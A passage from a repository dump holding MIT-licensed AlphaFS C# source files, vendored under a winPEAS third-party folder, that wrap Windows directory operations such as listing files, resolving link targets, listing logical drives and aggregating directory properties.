<paramref name=\"path\"/> parameter.</para>\n      ///   <para>The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required.</para>\n      ///   <para>The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names\n      ///     before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      [SecurityCritical]\n      public static string[] GetFilesTransacted(KernelTransaction transaction, string path, string searchPattern)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, searchPattern, null, null, null, PathFormat.RelativePath).ToArray();\n      }\n\n\n      /// <summary>[AlphaFS] Returns the names of files (including their paths) that match the specified search pattern in the current directory, and optionally searches subdirectories.</summary>\n      /// <returns>An array of the full names (including paths) for the files in the specified directory that match the specified search pattern and option, or an empty array if no files are found.</returns>\n      /// <remarks>\n      ///   <para>The returned file names are appended to the supplied <paramref name=\"path\"/> parameter.</para>\n      ///   <para>The order of the returned file names is not guaranteed; use the Sort() method if a specific sort order is required.</para>\n      ///   <para>The EnumerateFiles and GetFiles methods differ as follows: When you use EnumerateFiles, you can start enumerating the collection of names\n      ///     before the whole collection is returned; when you use GetFiles, you must wait for the whole array of names to be returned before you can access the array.\n      ///     Therefore, when you are working with many files and directories, EnumerateFiles can be more efficient.\n      ///   </para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory to search.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"searchOption\">\n      ///   One of the <see cref=\"SearchOption\"/> enumeration values that specifies whether the <paramref name=\"searchOption\"/>\n      ///   should include only the current directory or should include all subdirectories.\n      /// </param>\n      [SecurityCritical]\n      public static string[] GetFilesTransacted(KernelTransaction transaction, string path, string searchPattern, SearchOption searchOption)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(false, transaction, path, searchPattern, searchOption, null, null, PathFormat.RelativePath).ToArray();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetLinkTargetInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system.</summary>\n      /// <returns>\n      ///   An instance of <see cref=\"LinkTargetInfo\"/> or <see cref=\"SymbolicLinkTargetInfo\"/> containing information about the symbolic link\n      ///   or mount point pointed to by <paramref name=\"path\"/>.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnrecognizedReparsePointException\"/>\n      /// <param name=\"path\">The path to the reparse point.</param>\n      [SecurityCritical]\n      public static LinkTargetInfo GetLinkTargetInfo(string path)\n      {\n         return File.GetLinkTargetInfoCore(null, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system.</summary>\n      /// <returns>\n      ///   An instance of <see cref=\"LinkTargetInfo\"/> or <see cref=\"SymbolicLinkTargetInfo\"/> containing information about the symbolic link\n      ///   or mount point pointed to by <paramref name=\"path\"/>.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnrecognizedReparsePointException\"/>\n      /// <param name=\"path\">The path to the reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static LinkTargetInfo GetLinkTargetInfo(string path, PathFormat pathFormat)\n      {\n         return File.GetLinkTargetInfoCore(null, path, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetLinkTargetInfoTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system.</summary>\n      /// <returns>\n      ///   An instance of <see cref=\"LinkTargetInfo\"/> or <see cref=\"SymbolicLinkTargetInfo\"/> containing information about the symbolic link\n      ///   or mount point pointed to by <paramref name=\"path\"/>.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnrecognizedReparsePointException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the reparse point.</param>\n      [SecurityCritical]\n      public static LinkTargetInfo GetLinkTargetInfoTransacted(KernelTransaction transaction, string path)\n      {\n         return File.GetLinkTargetInfoCore(transaction, path, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system.</summary>\n      /// <returns>\n      ///   An instance of <see cref=\"LinkTargetInfo\"/> or <see cref=\"SymbolicLinkTargetInfo\"/> containing information about the symbolic link\n      ///   or mount point pointed to by <paramref name=\"path\"/>.\n      /// </returns>\n      /// <summary>[AlphaFS] Gets information about the target of a mount point or symbolic link on an NTFS file system.</summary>\n      /// <returns>\n      ///   An instance of <see cref=\"LinkTargetInfo\"/> or <see cref=\"SymbolicLinkTargetInfo\"/> containing information about the symbolic link\n      ///   or mount point pointed to by <paramref name=\"path\"/>.\n      /// </returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnrecognizedReparsePointException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path to the reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static LinkTargetInfo GetLinkTargetInfoTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return File.GetLinkTargetInfoCore(transaction, path, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetLogicalDrives.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Linq;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Retrieves the names of the logical drives on the Computer in the form \"&lt;drive letter&gt;:\\\".</summary>\n      /// <returns>An array of type <see cref=\"string\"/> that represents the logical drives on the Computer.</returns>\n      [SecurityCritical]\n      public static string[] GetLogicalDrives()\n      {\n         return EnumerateLogicalDrivesCore(false, false).Select(drive => drive.Name).ToArray();\n      }\n\n      #endregion // .NET\n      \n\n      /// <summary>[AlphaFS] Retrieves the names of the logical drives on the Computer in the form \"C:\\\".</summary>\n      /// <returns>An array of type <see cref=\"string\"/> that represents the logical drives on the Computer.</returns>\n      /// <param name=\"fromEnvironment\">Retrieve logical drives as known by the Environment.</param>\n      /// <param name=\"isReady\">Retrieve only when accessible (IsReady) logical drives.</param>\n      [SecurityCritical]\n      public static string[] GetLogicalDrives(bool fromEnvironment, bool isReady)\n      {\n         return EnumerateLogicalDrivesCore(fromEnvironment, isReady).Select(drive => drive.Name).ToArray();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetParent.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Retrieves the parent directory of the specified path, including both absolute and relative paths.</summary>\n      /// <param name=\"path\">The path for which to retrieve the parent directory.</param>\n      /// <returns>The parent directory, or <c>null</c> if <paramref name=\"path\"/> is the root directory, including the root of a UNC server or share name.</returns>\n      [SecurityCritical]\n      public static DirectoryInfo GetParent(string path)\n      {\n         return GetParentCore(null, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Retrieves the parent directory of the specified path, including both absolute and relative paths.</summary>\n      /// <returns>The parent directory, or <c>null</c> if <paramref name=\"path\"/> is the root directory, including the root of a UNC server or share name.</returns>\n      /// <param name=\"path\">The path for which to retrieve the parent directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DirectoryInfo GetParent(string path, PathFormat pathFormat)\n      {\n         return GetParentCore(null, path, pathFormat);\n      }\n\n      #endregion // .NET\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetParentTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Retrieves the parent directory of the specified path, including both absolute and relative paths.</summary>\n      /// <returns>The parent directory, or <c>null</c> if <paramref name=\"path\"/> is the root directory, including the root of a UNC server or share name.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path for which to retrieve the parent directory.</param>\n      [SecurityCritical]\n      public static DirectoryInfo GetParentTransacted(KernelTransaction transaction, string path)\n      {\n         return GetParentCore(transaction, path, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Retrieves the parent directory of the specified path, including both absolute and relative paths.</summary>\n      /// <returns>The parent directory, or <c>null</c> if <paramref name=\"path\"/> is the root directory, including the root of a UNC server or share name.</returns>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The path for which to retrieve the parent directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static DirectoryInfo GetParentTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetParentCore(transaction, path, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetProperties.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points.\n      ///   <para>Properties include aggregated info from <see cref=\"FileAttributes\"/> of each encountered file system object, plus additional ones: Total, File, Size and Error.</para>\n      ///   <para><b>Total:</b> is the total number of enumerated objects.</para>\n      ///   <para><b>File:</b> is the total number of files. File is considered when object is neither <see cref=\"FileAttributes.Directory\"/> nor <see cref=\"FileAttributes.ReparsePoint\"/>.</para>\n      ///   <para><b>Size:</b> is the total size of enumerated objects.</para>\n      ///   <para><b>Error:</b> is the total number of errors encountered during enumeration.</para>\n      /// </summary>\n      /// <returns>A dictionary mapping the keys mentioned above to their respective aggregated values.</returns>\n      /// <remarks><b>Directory:</b> is an object which has <see cref=\"FileAttributes.Directory\"/> attribute without <see cref=\"FileAttributes.ReparsePoint\"/> one.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The target directory.</param>\n      [SecurityCritical]\n      public static Dictionary<string, long> GetProperties(string path)\n      {\n         return GetPropertiesCore(null, path, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points.\n      ///   <para>Properties include aggregated info from <see cref=\"FileAttributes\"/> of each encountered file system object, plus additional ones: Total, File, Size and Error.</para>\n      ///   <para><b>Total:</b> is the total number of enumerated objects.</para>\n      ///   <para><b>File:</b> is the total number of files. File is considered when object is neither <see cref=\"FileAttributes.Directory\"/> nor <see cref=\"FileAttributes.ReparsePoint\"/>.</para>\n      ///   <para><b>Size:</b> is the total size of enumerated objects.</para>\n      ///   <para><b>Error:</b> is the total number of errors encountered during enumeration.</para>\n      /// </summary>\n      /// <returns>A dictionary mapping the keys mentioned above to their respective aggregated values.</returns>\n      /// <remarks><b>Directory:</b> is an object which has <see cref=\"FileAttributes.Directory\"/> attribute without <see cref=\"FileAttributes.ReparsePoint\"/> one.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The target directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static Dictionary<string, long> GetProperties(string path, PathFormat pathFormat)\n      {\n         return GetPropertiesCore(null, path, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points.\n      ///   <para>Properties include aggregated info from <see cref=\"FileAttributes\"/> of each encountered file system object, plus additional ones: Total, File, Size and Error.</para>\n      ///   <para><b>Total:</b> is the total number of enumerated objects.</para>\n      ///   <para><b>File:</b> is the total number of files. File is considered when object is neither <see cref=\"FileAttributes.Directory\"/> nor <see cref=\"FileAttributes.ReparsePoint\"/>.</para>\n      ///   <para><b>Size:</b> is the total size of enumerated objects.</para>\n      ///   <para><b>Error:</b> is the total number of errors encountered during enumeration.</para>\n      /// </summary>\n      /// <returns>A dictionary mapping the keys mentioned above to their respective aggregated values.</returns>\n      /// <remarks><b>Directory:</b> is an object which has <see cref=\"FileAttributes.Directory\"/> attribute without <see cref=\"FileAttributes.ReparsePoint\"/> one.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The target directory.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static Dictionary<string, long> GetProperties(string path, DirectoryEnumerationOptions options)\n      {\n         return GetPropertiesCore(null, path, options, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points.\n      ///   <para>Properties include aggregated info from <see cref=\"FileAttributes\"/> of each encountered file system object, plus additional ones: Total, File, Size and Error.</para>\n      ///   <para><b>Total:</b> is the total number of enumerated objects.</para>\n      ///   <para><b>File:</b> is the total number of files. File is considered when object is neither <see cref=\"FileAttributes.Directory\"/> nor <see cref=\"FileAttributes.ReparsePoint\"/>.</para>\n      ///   <para><b>Size:</b> is the total size of enumerated objects.</para>\n      ///   <para><b>Error:</b> is the total number of errors encountered during enumeration.</para>\n      /// </summary>\n      /// <returns>A dictionary mapping the keys mentioned above to their respective aggregated values.</returns>\n      /// <remarks><b>Directory:</b> is an object which has <see cref=\"FileAttributes.Directory\"/> attribute without <see cref=\"FileAttributes.ReparsePoint\"/> one.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The target directory.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static Dictionary<string, long> GetProperties(string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return GetPropertiesCore(null, path, options, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.GetPropertiesTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points.\n      ///   <para>Properties include aggregated info from <see cref=\"FileAttributes\"/> of each encountered file system object, plus additional ones: Total, File, Size and Error.</para>\n      ///   <para><b>Total:</b> is the total number of enumerated objects.</para>\n      ///   <para><b>File:</b> is the total number of files. File is considered when object is neither <see cref=\"FileAttributes.Directory\"/> nor <see cref=\"FileAttributes.ReparsePoint\"/>.</para>\n      ///   <para><b>Size:</b> is the total size of enumerated objects.</para>\n      ///   <para><b>Error:</b> is the total number of errors encountered during enumeration.</para>\n      /// </summary>\n      /// <returns>A dictionary mapping the keys mentioned above to their respective aggregated values.</returns>\n      /// <remarks><b>Directory:</b> is an object which has <see cref=\"FileAttributes.Directory\"/> attribute without <see cref=\"FileAttributes.ReparsePoint\"/> one.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The target directory.</param>\n      [SecurityCritical]\n      public static Dictionary<string, long> GetPropertiesTransacted(KernelTransaction transaction, string path)\n      {\n         return GetPropertiesCore(transaction, path, null, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points.\n      ///   <para>Properties include aggregated info from <see cref=\"FileAttributes\"/> of each encountered file system object, plus additional ones: Total, File, Size and Error.</para>\n      ///   <para><b>Total:</b> is the total number of enumerated objects.</para>\n      ///   <para><b>File:</b> is the total number of files. File is considered when object is neither <see cref=\"FileAttributes.Directory\"/> nor <see cref=\"FileAttributes.ReparsePoint\"/>.</para>\n      ///   <para><b>Size:</b> is the total size of enumerated objects.</para>\n      ///   <para><b>Error:</b> is the total number of errors encountered during enumeration.</para>\n      /// </summary>\n      /// <returns>A dictionary mapping the keys mentioned above to their respective aggregated values.</returns>\n      /// <remarks><b>Directory:</b> is an object which has <see cref=\"FileAttributes.Directory\"/> attribute without <see cref=\"FileAttributes.ReparsePoint\"/> one.</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The target directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static Dictionary<string, long> GetPropertiesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         return GetPropertiesCore(transaction, path, null, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Gets the properties of the particular directory without following any symbolic links or mount points.\n      ///   <para>Properties include aggregated info from <see cref=\"FileAttributes\"/> of each encountered file system object, plus additional ones: Total, File, Size and Error.</para>\n      ///   <para><b>Total:</b> is the total number of enumerated objects.</para>\n      ///   <para><b>File:</b> is the total number of files. File is considered when object is neither <see cref=\"FileAttributes.Directory\"/> nor <see cref=\"FileAttributes.ReparsePoint\"/>.</para>\n      ///   <para><b>Size:</b> is the total size of enumerated objects.</para>\n      ///   <para><b>Error:</b> is the total number of errors encountered during enumeration.</para>\n      